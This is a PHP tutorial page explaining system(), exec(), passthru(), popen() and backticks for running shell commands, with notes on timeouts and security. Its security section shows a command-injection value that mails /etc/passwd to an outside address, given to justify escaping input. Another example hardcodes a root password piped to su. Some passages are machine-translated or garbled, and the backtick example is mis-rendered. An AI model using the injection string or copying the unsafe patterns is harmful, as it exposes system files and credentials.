Home > Backend Development > PHP Tutorial > Detailed explanation of how php executes system external commands

Detailed explanation of how php executes system external commands

WBOY
Release: 2016-07-25 08:57:58
Original
991 people have browsed it
  1. //system('dir');
  2. // exec ('dir');
  3. // passthru ('dir');
  4. // echo `dir`;
Copy code

PHP, like other programming languages, can call external commands within the program, and it is very simple: just use one or a few functions.

Prerequisites

Since PHP is basically used for WEB program development, security has become an important aspect that people consider. So PHP designers added a door to PHP: safe mode. If running in safe mode, the PHP script will be subject to the following four restrictions:

1. Execute external commands 2. There are some restrictions when opening files. 3. Connect to mysql database 4. HTTP-based authentication

In safe mode, only external programs in specific directories can be executed, and calls to other programs will be denied. This directory can be used in the php.ini file using the safe_mode_exec_dir directive, or added when compiling PHP. --with-exec-dir option to specify, the default is /usr/local/php/bin.

If you call an external command that should output results (meaning the PHP script has no errors), but get a blank, then it is likely that PHP is running in safe mode.

To call external commands in PHP, you can use the following three methods:

1) Use special functions provided by PHP PHP provides a total of three specialized functions for executing external commands: system(), exec(), and passthru().

1. system() Prototype: string system (string command [, int return_var]) The system() function is similar to that in other languages. It executes the given command, outputs and returns the result. The second parameter is optional and is used to get the status code after the command is executed.

Example:

<?php
system("/usr/local/bin/webalizer/webalizer");
?>
Copy after login

2. exec() Prototype: string exec (string command [, string array [, int return_var]])

The exec () function is similar to system (). It also executes the given command, but does not output the result, but returns the last line of the result. Although it only returns the last line of the command result, the complete result can be obtained with the second parameter array. The method is to control the result The results are appended line by line to the end of the array. So if the array is not empty, it is best to use unset() to clear it before calling it. Only when the second parameter is specified, the third parameter can be used to obtain the status code of command execution. .

Example:

<?php
exec("/bin/ls -l");
exec("/bin/ls -l", $res);
exec("/bin/ls -l", $res, $rc);
?>
Copy after login

3. passthru() Prototype: void passthru (string command [, int return_var])

passthru () only calls the command and does not return any results, but outputs the running results of the command directly to the standard output device as is. Therefore, the passthru() function is often used to call programs such as pbmplus (a picture processing program under Unix). tool, output two (a stream of raw images in hexadecimal format). It can also get the status code of command execution.

Example:

<?php
header("Content-type: image/gif");
passthru("./ppmtogif hunte.ppm");
?>
Copy after login

2) Use the popen() function to open the process

The above method can only simply execute the command, but cannot interact with the command. Sometimes you need to enter something into the command. For example, when adding a Linux system user, you need to call su to change the current user to root, and the su command must be on the command line. Enter the root password. In this case, it is obviously not possible to use the method mentioned above.

The

popen () function opens a process pipe to execute the given command and returns a file handle. Since a file handle is returned, you can read and write to it. In PHP3, only a single operation can be performed on this kind of handle Mode, either write or read; starting from PHP4, you can read and write at the same time. Unless the handle is opened in one mode (read or write), the pclose() function must be called to close it.

Example 1:

<?php
$fp=popen("/bin/ls -l", "r");
?>
Copy after login

Example 2:

<?php
$sucommand = "su --login root --command";
$useradd = "useradd ";
$rootpasswd = "verygood";
$user = "james";
$user_add = sprintf("%s "%s %s"",$sucommand,$useradd,$user);
$fp = @popen($user_add,"w");
@fputs($fp,$rootpasswd);
@pclose($fp);
?>
Copy after login

3), use a backtick (`, that is, the one under the ESC key on the keyboard, which is the same as ~) This method was not previously documented in PHP and existed as a secret technique. Use two backticks to enclose the command to be executed as an expression. The value of this expression is the result of the command execution. For example:

<?php
$res='/bin/ls -l';
echo ' 
'.$res.' 
';
?>
Copy after login

Output result:

hunte.gif hunte.ppm jpg.htm jpg.jpg passthru.php

Two issues need to be considered: security and timeout.

Security. For example, there is a small online store, so the list of products available for sale is placed in a file. Write an HTML file with a form that lets your users enter their email address and then sends them the product list. Assuming that you have not used PHP's mail() function (or have never heard of it), call the mail program of the Linux/Unix system to send this file.

For example:

<?php
system("mail $to < products.txt");
echo "产品目录已经发送到你的信箱:$to";
?>
Copy after login

This code actually has a very large security vulnerability. If a malicious user enters such an EMAIL address:

'--bla ; mail someone@domain.com < /etc/passwd ;'
Copy after login

Then this command eventually becomes:

'mail --bla ; mail someone@domain.com < /etc/passwd ; < products.txt'
Copy after login

It’s scary, don’t try it on your own computer, otherwise the consequences will not be as bad as you imagine.

php提供了两个函数:EscapeShellCmd()和EscapeShellArg()。 函数EscapeShellCmd把一个字符串 中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell 中是有特殊含义的,象分号(),重定向(>)和从文件读入 (<)等。 函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符串 就可以安全地作为命令的参数。

再说下超时问题。 如果要执行的命令要花费很长的时间,那么应该把这个命令放到系统的后台去运行。 默认情况下,象system()等函数要等到这个命令运行完才返回(实际上是要等命令的输出结果),这肯定会引起PHP脚本的超时。

解决方法,把命令的输出重定向到另外一个文件或流中。 例如:

<?php
system("/usr/local/bin/order_proc > /tmp/null &");
?>
Copy after login


source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template